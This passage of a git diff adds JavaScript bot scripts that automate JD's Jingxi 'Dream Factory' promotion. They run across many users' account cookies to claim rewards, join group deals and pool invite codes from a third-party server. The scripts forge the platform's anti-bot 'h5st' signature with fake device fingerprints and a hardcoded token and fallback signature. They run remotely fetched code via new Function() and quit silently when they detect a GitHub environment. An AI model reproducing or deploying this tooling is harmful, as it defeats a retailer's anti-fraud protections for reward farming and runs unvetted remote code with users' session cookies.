console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (isTuanLeader) { + console.log(`开团奖励(团长)${data.data['electric']}领取成功`); + message += `【开团(团长)奖励】${data.data['electric']}领取成功\n`; + if ($.surplusOpenTuanNum > 0) { + $.log(`开团奖励(团长)已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`参团奖励${data.data['electric']}领取成功`); + message += `【参团奖励】${data.data['electric']}领取成功\n`; + } + } else if (data['ret'] === 10212) { + console.log(`${JSON.stringify(data)}`); + + if (isTuanLeader && $.surplusOpenTuanNum > 0) { + $.log(`团奖励已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function updateTuanIdsCDN(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, {agent}) + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + $.tuanConfigs = data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000) + resolve(); + }) +} + +//商品可兑换时的通知 +async function exchangeProNotify() { + await GetShelvesList(); + let exchangeEndTime, exchangeEndHours, nowHours; + //脚本运行的UTC+8时区的时间戳 + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + if ($.shelvesList && $.shelvesList.length > 0) console.log(`\n 商品名 兑换状态`) + for (let shel of $.shelvesList) { + console.log(`${shel['name']} ${shel['exchangeStatus'] === 1 ? '未兑换' : shel['exchangeStatus'] === 2 ? '已兑换' : '兑换超时'}`) + if (shel['exchangeStatus'] === 1) { + exchangeEndTime = shel['exchangeEndTime'] * 1000; + $.picture = shel['picture']; + // 兑换截止时间点 + exchangeEndHours = new Date(exchangeEndTime + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000).getHours(); + //兑换截止时间(年月日 时分秒) + $.exchangeEndTime = new Date(exchangeEndTime + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000).toLocaleString('zh', {hour12: false}); + //脚本运行此时的时间点 + nowHours = nowTimes.getHours(); + } else if (shel['exchangeStatus'] === 3) { + //兑换超时 + } + } + if (exchangeEndTime) { + //比如兑换(超时)截止时间是2020/12/8 09:20:04,现在时间是2020/12/6 + if (nowTimes < exchangeEndTime) { + // 一:在兑换超时这一天(2020/12/8 09:20:04)的前4小时内通知(每次运行都通知) + let flag = true; + if ((exchangeEndTime - nowTimes.getTime()) <= 3600000 * 4) { + let expiredTime = parseFloat(((exchangeEndTime - nowTimes.getTime()) / (60 * 60 * 1000)).toFixed(1)) + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${expiredTime}小时后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { + 'open-url': jxOpenUrl, + 'media-url': $.picture + }) + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${(exchangeEndTime - nowTimes) / 60*60*1000}分钟后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { url: jxOpenUrl }) + if ($.isNode() && (`${notifyLevel}` === '1' || `${notifyLevel}` === '2' || `${notifyLevel}` === '3')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${expiredTime}小时后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + flag = false; + } + //二:在可兑换的时候,0,2,4等每2个小时通知一次 + if (nowHours % 2 === 0 && flag) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { + 'open-url': jxOpenUrl, + 'media-url': $.picture + }) + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { url: jxOpenUrl }) + if ($.isNode() && (`${notifyLevel}` === '1' || `${notifyLevel}` === '2' || `${notifyLevel}` === '3')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } +} + +async function showMsg() { + return new Promise(async resolve => { + message += `【收取自己零件】${$.pickUpMyselfComponent ? `获得${$.pickEle}电力` : `今日已达上限`}\n`; + message += `【收取好友零件】${$.pickUpMyselfComponent ? `获得${$.pickFriendEle}电力` : `今日已达上限`}\n`; + if (new Date().getHours() === 22) { + $.msg($.name, '', `${message}`) + $.log(`\n${message}`); + } else { + $.log(`\n${message}`); + } + resolve() + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://api.jdsharecode.xyz/api/jxfactory/${randomCount}`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + const shareCodes = $.isNode() ? require('./jdDreamFactoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxFactory')) $.shareCodesArr = $.getdata('jd_jxFactory').split('\n').filter(item => item !== "" && item !== null && item !== undefined); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_jxFactory')}\n`); + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function taskTuanUrl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "m.jingxi.com", + "Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html", + "User-Agent": "jdpingou" + } + } +} + +function taskurl(functionId, body = '', stk) { + let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function newtasksysUrl(functionId, taskId, stk) { + let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1`; + if (taskId) { + url += `&taskId=${taskId}`; + } + if (stk) { + url += `&_stk=${stk}`; + } + //传入url进行签名 + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + return { + url, + "headers": { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function requestAlgo() { + $.fingerprint = generateFp(); + return new Promise(resolve => { + $.post({ + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Referer': 'https://st.jingxi.com/', + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_dreamFactory_help.js b/jd_dreamFactory_help.js new file mode 100644 index 0000000000..a91a2bf02f --- /dev/null +++ b/jd_dreamFactory_help.js @@ -0,0 +1,2314 @@ +/* +京东京喜工厂助力 +先了解自己环境怎么添加内部助力码 +助力顺序:内部 -> HW.ts -> 助力池 + +更新时间:2021-09-14 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜工厂助力 +50 * * * * https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_dreamFactory_help.js, tag=京喜工厂助力, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "50 * * * *" script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_dreamFactory_help.js,tag=京喜工厂助力 + +===============Surge================= +京喜工厂助力 = type=cron,cronexp="50 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_dreamFactory_help.js + +============小火箭========= +京喜工厂助力 = type=cron,script-path=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/jd_dreamFactory_help.js, cronexpr="50 * * * *", timeout=3600, enable=true + + */ + +;!function (a, b) { + "object" == typeof exports ? module.exports = exports = b() : "function" == typeof define && define.amd ? define([], b) : a.CryptoJS = b() +}(this, function () { + var B = B || function (p, r) { + var u = Object.create || function () { + function c() { + } + + return function (a) { + var b; + return c.prototype = a, b = new c, c.prototype = null, b + } + }(), v = {}, w = v.lib = {}, z = w.Base = function () { + return { + extend: function (a) { + var b = u(this); + return a && b.mixIn(a), b.hasOwnProperty("init") && this.init !== b.init || (b.init = function () { + b.$super.init.apply(this, arguments) + }), b.init.prototype = b, b.$super = this, b + }, create: function () { + var a = this.extend(); + return a.init.apply(a, arguments), a + }, init: function () { + }, mixIn: function (a) { + for (var b in a) a.hasOwnProperty(b) && (this[b] = a[b]); + a.hasOwnProperty("toString") && (this.toString = a.toString) + }, clone: function () { + return this.init.prototype.extend(this) + } + } + }(), x = w.WordArray = z.extend({ + init: function (a, b) { + a = this.words = a || [], b != r ? this.sigBytes = b : this.sigBytes = 4 * a.length + }, toString: function (a) { + return (a || n).stringify(this) + }, concat: function (a) { + var b = this.words, c = a.words, d = this.sigBytes, e = a.sigBytes; + if (this.clamp(), d % 4) for (var f = 0; f < e; f++) { + var h = c[f >>> 2] >>> 24 - f % 4 * 8 & 255; + b[d + f >>> 2] |= h << 24 - (d + f) % 4 * 8 + } else for (var f = 0; f < e; f += 4) b[d + f >>> 2] = c[f >>> 2]; + return this.sigBytes += e, this + }, clamp: function () { + var a = this.words, b = this.sigBytes; + a[b >>> 2] &= 4294967295 << 32 - b % 4 * 8, a.length = p.ceil(b / 4) + }, clone: function () { + var a = z.clone.call(this); + return a.words = this.words.slice(0), a + }, random: function (e) { + for (var f, h = [], g = function (b) { + var b = b, c = 987654321, d = 4294967295; + return function () { + c = 36969 * (65535 & c) + (c >> 16) & d, b = 18e3 * (65535 & b) + (b >> 16) & d; + var a = (c << 16) + b & d; + return a /= 4294967296, a += .5, a * (p.random() > .5 ? 1 : -1) + } + }, i = 0; i < e; i += 4) { + var k = g(4294967296 * (f || p.random())); + f = 987654071 * k(), h.push(4294967296 * k() | 0) + } + return new x.init(h, e) + } + }), y = v.enc = {}, n = y.Hex = { + stringify: function (a) { + for (var b = a.words, c = a.sigBytes, d = [], e = 0; e < c; e++) { + var f = b[e >>> 2] >>> 24 - e % 4 * 8 & 255; + d.push((f >>> 4).toString(16)), d.push((15 & f).toString(16)) + } + return d.join("") + }, parse: function (a) { + for (var b = a.length, c = [], d = 0; d < b; d += 2) c[d >>> 3] |= parseInt(a.substr(d, 2), 16) << 24 - d % 8 * 4; + return new x.init(c, b / 2) + } + }, F = y.Latin1 = { + stringify: function (a) { + for (var b = a.words, c = a.sigBytes, d = [], e = 0; e < c; e++) { + var f = b[e >>> 2] >>> 24 - e % 4 * 8 & 255; + d.push(String.fromCharCode(f)) + } + return d.join("") + }, parse: function (a) { + for (var b = a.length, c = [], d = 0; d < b; d++) c[d >>> 2] |= (255 & a.charCodeAt(d)) << 24 - d % 4 * 8; + return new x.init(c, b) + } + }, G = y.Utf8 = { + stringify: function (a) { + try { + return decodeURIComponent(escape(F.stringify(a))) + } catch (a) { + throw new Error("Malformed UTF-8 data") + } + }, parse: function (a) { + return F.parse(unescape(encodeURIComponent(a))) + } + }, j = w.BufferedBlockAlgorithm = z.extend({ + reset: function () { + this._data = new x.init, this._nDataBytes = 0 + }, _append: function (a) { + "string" == typeof a && (a = G.parse(a)), this._data.concat(a), this._nDataBytes += a.sigBytes + }, _process: function (a) { + var b = this._data, c = b.words, d = b.sigBytes, e = this.blockSize, f = 4 * e, h = d / f; + h = a ? p.ceil(h) : p.max((0 | h) - this._minBufferSize, 0); + var g = h * e, i = p.min(4 * g, d); + if (g) { + for (var k = 0; k < g; k += e) this._doProcessBlock(c, k); + var m = c.splice(0, g); + 